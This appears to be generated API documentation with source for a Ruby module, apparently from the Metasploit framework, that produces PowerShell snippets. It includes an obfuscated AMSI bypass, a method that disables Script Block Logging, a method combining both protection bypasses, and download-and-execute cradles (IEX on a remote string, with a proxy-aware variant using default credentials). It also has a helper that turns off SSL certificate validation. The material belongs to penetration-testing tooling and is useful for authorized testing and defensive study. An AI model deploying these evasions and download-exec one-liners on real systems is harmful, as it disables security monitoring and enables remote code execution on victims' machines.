module Rex::Powershell::PshMethods
Convenience methods for generating Powershell
code in Ruby
Public Class Methods
Return mattifestation's AMSI bypass
@return [String] PowerShell code to bypass AMSI
# File lib/rex/powershell/psh_methods.rb, line 91 def self.bypass_amsi() script = Script.new(<<-PSH $Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')}); $Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true); PSH ) script.sub_vars script end
Return all bypasses checking if PowerShell version > 3
@return [String] PowerShell code to disable PowerShell Built-In Protections
# File lib/rex/powershell/psh_methods.rb, line 134 def self.bypass_powershell_protections() uglify_ps(%Q{ If($PSVersionTable.PSVersion.Major -ge 3){ #{self.bypass_script_log} #{self.bypass_amsi} } }) end
Return cobbr's Script
Block Logging bypass
@return [String] PowerShell code to bypass Script
Block Logging
# File lib/rex/powershell/psh_methods.rb, line 105 def self.bypass_script_log() script = Script.new(<<-PSH $GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static'); If ($GPF) { $SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')}; $EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')}; $EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')}; $GPC=$GPF.GetValue($null); If($GPC[$SBL]){ $GPC[$SBL][$EnableSBL]=0; $GPC[$SBL][$EnableSBIL]=0; } $val=[Collections.Generic.Dictionary[string,System.Object]]::new(); $val.Add($EnableSBL,0); $val.Add($EnableSBIL,0); $GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val; } Else { [ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); } PSH ) script.sub_vars script end
Download file via .NET WebClient
@param src [String] URL to the file @param target [String] Location to save the file
@return [String] Powershell
code to download a file
# File lib/rex/powershell/psh_methods.rb, line 16 def self.download(src, target) target ||= '$pwd\\' << src.split('/').last %Q^(new-object System.Net.WebClient).DownloadFile('#{src}', '#{target}')^ end
Download and execute string via HTTP
@param urls [String | [String]] string(s) to download @param iex [Boolean] utilize invoke-expression to execute code
@return [String] PowerShell code to download and exec the url
# File lib/rex/powershell/psh_methods.rb, line 150 def self.download_and_exec_string(urls, iex = true) unless urls.is_a?(Array) urls = [urls] end res = '' for url in urls if iex res << %Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'));^ else res << %Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')));^ end end res end
Download file via .NET WebClient and execute it afterwards
@param src [String] URL to the file @param target [String] Location to save the file
@return [String] Powershell
code to download a file
# File lib/rex/powershell/psh_methods.rb, line 28 def self.download_run(src, target) target ||= '$pwd\\' << src.split('/').last %Q^$z="#{target}"; (new-object System.Net.WebClient).DownloadFile('#{src}', $z); invoke-item $z^ end
Force use of TLS1.2
@ return [String] Powershell
code to force use of TLS1.2
# File lib/rex/powershell/psh_methods.rb, line 170 def self.force_tls12() %Q^[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;^ end
Return last time of login
@param user [String] Username
@return [String] Powershell
code to return the last time of a user
login
# File lib/rex/powershell/psh_methods.rb, line 74 def self.get_last_login(user) %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^ end
Disable SSL Certificate verification
@return [String] Powershell
code to disable SSL verification
checks.
# File lib/rex/powershell/psh_methods.rb, line 83 def self.ignore_ssl_certificate '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};' end
Use the default system web proxy and credentials
@return [String] Powershell
code to use the default system web proxy and credentials
# File lib/rex/powershell/psh_methods.rb, line 177 def self.proxy_aware var = Rex::Text.rand_text_alpha(1) cmd = "$#{var}=new-object net.webclient;" cmd << "if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){" cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();" cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;" cmd << "};" cmd end
Use the default system web proxy and credentials to download a URL as a string and execute the contents as PowerShell
@param urls [String | [String]] string(s) to download @param iex [Boolean] utilize invoke-expression to execute code
@return [String] PowerShell code to download a URL
# File lib/rex/powershell/psh_methods.rb, line 195 def self.proxy_aware_download_and_exec_string(urls, iex = true) "#{self.proxy_aware}#{download_and_exec_string(urls, iex)}" end
Create secure string from plaintext
@param str [String] String to create as a SecureString
@return [String] Powershell
code to create a SecureString
# File lib/rex/powershell/psh_methods.rb, line 52 def self.secure_string(str) %Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$) end
# File lib/rex/powershell/psh_methods.rb, line 199 def self.uglify_ps(script) return script.gsub(/\ +/, " ").gsub(/\n+/, '') end
Uninstall app, or anything named like app
@param app [String] Name of application @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
the application name
@return [String] Powershell
code to uninstall an application
# File lib/rex/powershell/psh_methods.rb, line 41 def self.uninstall(app, fuzzy = true) match = fuzzy ? '-like' : '-eq' %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^ end
Find PID of file lock owner
@param filename [String] Filename
@return [String] Powershell
code to identify the PID of a file
lock owner
# File lib/rex/powershell/psh_methods.rb, line 63 def self.who_locked_file(filename) %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^ end